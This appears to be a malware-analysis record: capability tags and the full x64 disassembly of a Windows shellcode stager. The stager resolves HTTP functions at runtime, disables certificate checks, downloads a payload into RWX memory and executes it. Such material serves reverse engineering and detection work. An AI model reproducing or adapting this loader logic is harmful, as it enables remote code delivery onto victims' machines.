Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Reference http user-agent string

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov qword [rbp + 0x10], rcx
mov word [rbp + 0x18], dx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
lea rax, section..rodata
mov rcx, rax
sub rsp, 0x20
call sub.KERNEL32_LoadLibraryA
add rsp, 0x20
mov qword [rbp - 8], rax
lea rax, [0x0040200c]
mov rdx, rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call sub.KERNEL32_GetProcAddress
add rsp, 0x20
mov qword [rbp - 0x10], rax
lea rax, [0x0040201a]
mov rdx, rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call sub.KERNEL32_GetProcAddress
add rsp, 0x20
mov qword [rbp - 0x18], rax
lea rax, [0x0040202b]
mov rdx, rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call sub.KERNEL32_GetProcAddress
add rsp, 0x20
mov qword [rbp - 0x20], rax
lea rax, [0x0040203c]
mov rdx, rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call sub.KERNEL32_GetProcAddress
add rsp, 0x20
mov qword [rbp - 0x28], rax
lea rax, [0x00402051]
mov rdx, rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call sub.KERNEL32_GetProcAddress
add rsp, 0x20
mov qword [rbp - 0x30], rax
lea rax, [0x00402064]
mov rdx, rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call sub.KERNEL32_GetProcAddress
add rsp, 0x20
mov qword [rbp - 0x38], rax
lea rax, [0x00402075]
mov rdx, rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call sub.KERNEL32_GetProcAddress
add rsp, 0x20
mov qword [rbp - 0x40], rax
lea rax, [0x00402084]
mov rdx, rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call sub.KERNEL32_GetProcAddress
add rsp, 0x20
mov qword [rbp - 0x48], rax
lea rax, [0x00402095]
mov rdx, rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call sub.KERNEL32_GetProcAddress
add rsp, 0x20
mov qword [rbp - 0x50], rax
sub rsp, 8
push 0
mov r9, 0
mov r8, 0
mov rdx, 0
lea rax, [0x004020a9]
mov rcx, rax
sub rsp, 0x20
call qword [rbp - 0x10]
add rsp, 0x30
mov qword [rbp - 0x58], rax
cmp dword [rbp - 0x58], 0
jne 0x40118c
jmp 0x4014ca
push 0
push 0
push 3
push 0
mov r9, 0
mov r8w, word [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x58]
sub rsp, 0x20
call qword [rbp - 0x18]
add rsp, 0x40
mov qword [rbp - 0x60], rax
cmp dword [rbp - 0x60], 0
jne 0x4011c2
jmp 0x4014ca
mov dword [rbp - 0x64], 0
movsxd rax, dword [rbp + 0x28]
test rax, rax
je 0x4011d9
mov dword [rbp - 0x64], 0x4803200
lea rax, [0x00402112]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], 0
push 0
mov ecx, dword [rbp - 0x64]
push rcx
lea rcx, [rbp - 0x78]
push rcx
push 0
mov r9, 0
mov r8, qword [rbp + 0x20]
lea rdx, [0x00402119]
mov rcx, qword [rbp - 0x60]
sub rsp, 0x20
call qword [rbp - 0x20]
add rsp, 0x40
mov qword [rbp - 0x80], rax
cmp dword [rbp - 0x80], 0
jne 0x401229
jmp 0x4014ca
movsxd rax, dword [rbp + 0x28]
test rax, rax
je 0x40129b
mov dword [rbp - 0x88], 4
lea rax, [rbp - 0x88]
mov r9, rax
lea rcx, [rbp - 0x84]
mov r8, rcx
mov rdx, 0x1f
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call qword [rbp - 0x28]
add rsp, 0x20
or dword [rbp - 0x84], 0x3180
mov r9, 4
lea rax, [rbp - 0x84]
mov r8, rax
mov rdx, 0x1f
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call qword [rbp - 0x30]
add rsp, 0x20
sub rsp, 8
push 0
mov r9, 0
mov r8, 0
mov rdx, 0
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call qword [rbp - 0x38]
add rsp, 0x30
test rax, rax
jne 0x401386
sub rsp, 0x20
call sub.KERNEL32_GetLastError
add rsp, 0x20
cmp rax, 0x2f0d
je 0x4012ed
jmp 0x4014ca
mov dword [rbp - 0x88], 4
lea rax, [rbp - 0x88]
mov r9, rax
lea rcx, [rbp - 0x84]
mov r8, rcx
mov rdx, 0x1f
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call qword [rbp - 0x28]
add rsp, 0x20
or dword [rbp - 0x84], 0x3180
mov r9, 4
lea rax, [rbp - 0x84]
mov r8, rax
mov rdx, 0x1f
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call qword [rbp - 0x30]
add rsp, 0x20
sub rsp, 8
push 0
mov r9, 0
mov r8, 0
mov rdx, 0
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call qword [rbp - 0x38]
add rsp, 0x30
test rax, rax
jne 0x401386
jmp 0x4014ca
mov dword [rbp - 0x84], 0
mov dword [rbp - 0x88], 4
sub rsp, 8
push 0
lea rax, [rbp - 0x88]
mov r9, rax
lea rcx, [rbp - 0x84]
mov r8, rcx
mov rdx, 0x20000005
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call qword [rbp - 0x40]
add rsp, 0x30
test rax, rax
jne 0x4013d4
jmp 0x4014ca
mov r9, 0x40
mov r8, 0x1000
mov edx, dword [rbp - 0x84]
mov rcx, 0
sub rsp, 0x20
call sub.KERNEL32_VirtualAlloc
add rsp, 0x20
mov qword [rbp - 0x90], rax
cmp dword [rbp - 0x90], 0
jne 0x401411
jmp 0x4014ca
mov dword [rbp - 0x94], 0
movsxd rax, dword [rbp - 0x84]
movsxd rcx, dword [rbp - 0x94]
cmp rcx, rax
jae 0x40148f
lea rax, [rbp - 0x88]
mov r9, rax
mov ecx, dword [rbp - 0x84]
mov edx, dword [rbp - 0x94]
sub rcx, rdx
mov r8, rcx
mov rcx, qword [rbp - 0x90]
mov edx, dword [rbp - 0x94]
add rcx, rdx
mov rdx, rcx
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call qword [rbp - 0x48]
add rsp, 0x20
test rax, rax
je 0x40148f
cmp dword [rbp - 0x88], 0
je 0x40148f
mov eax, dword [rbp - 0x88]
add dword [rbp - 0x94], eax
jmp 0x40141b
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call qword [rbp - 0x50]
add rsp, 0x20
mov rcx, qword [rbp - 0x60]
sub rsp, 0x20
call qword [rbp - 0x50]
add rsp, 0x20
mov rcx, qword [rbp - 0x58]
sub rsp, 0x20
call qword [rbp - 0x50]
add rsp, 0x20
sub rsp, 0x20
call qword [rbp - 0x90]
add rsp, 0x20
mov rsp, rbp
pop rbp
ret